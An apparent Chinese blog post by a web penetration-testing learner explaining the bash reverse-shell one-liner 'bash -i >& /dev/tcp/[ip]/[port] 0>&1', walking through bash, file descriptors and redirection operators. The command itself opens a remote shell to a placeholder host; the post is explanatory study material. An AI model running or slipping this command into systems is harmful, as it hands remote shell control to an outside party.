对于反弹shell语句bash命令的理解

(个人经验,仅供参考,错误之处,敬请谅解)

缘由

  在学习Wen渗透过程中,遇到了“反弹shell” 这个专业名词。于是查询找到了整个反弹shell的过程,但对于其中第一条命令尤其不解.

bash -i >& /dev/tcp/[ip]/[port] 0>&1

经过

  起初如果搜这个bash命令,很难找到这个命令和反弹shell有关,基本都是对于linux 命令的介绍。阅读理解之后,个人大概有一些理解,大体来说有以下几点:

  1. Shell是一个处理用户请求的工具或接口,它负责解释用户输入的命令,调用用户希望使用的程序。
  2. Linux中的shell有多种类型,这其中最常用的几种是Bourne shell(sh)、C shell(csh)和Korn shell(ksh)。
  3. Bourne Again shell,它是Linux操作系统缺省的shell,是Bourne shell的扩展,简称Bash,可以提供如命令补全、命令编辑和命令历史表等功能,有灵活和强大的编程接口,同时又有很友好的用户界面。

  那么知道bash是linux一个解释命令的工具(对计算机进行各项操作),下面就有必要了解后面各种符号的意思。个人也是翻阅了不少的解释,给出相对中和的解释:

文件描述符:

0 - stdin 标准输入
1 - stdout 标准输出
2 - stderr 标准错误输出

>与<符号的使用

>是将标准输出重定向,一个代表新建或者覆盖后面的文件,两个代表向文件中追加信息
<是标准输入重定向

>&与&>的使用

这里有的解释说两种使用结果是一样也有亲自试验结果不一样
个人想强调的是:
如果后面跟文件没有必要使用&>,直接使用>不是更省事。
如果后面是文件描述符,则必须使用>&,因为&是强调后面为文件描述符的作用,又何必纠结两个是否相同。

最后总结下这个命令的具体作用

  1. -i参数实现交互命令
  2. 将标准输入重定向至标准输出,而将标准输出重定向至远程机的端口。
  3. 这样在远程机的命令执行结果都会回显到远程机。(而使用2>&1,标准错误同标准输出都会重定向不适用于此处,因为是在远程机操作)
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值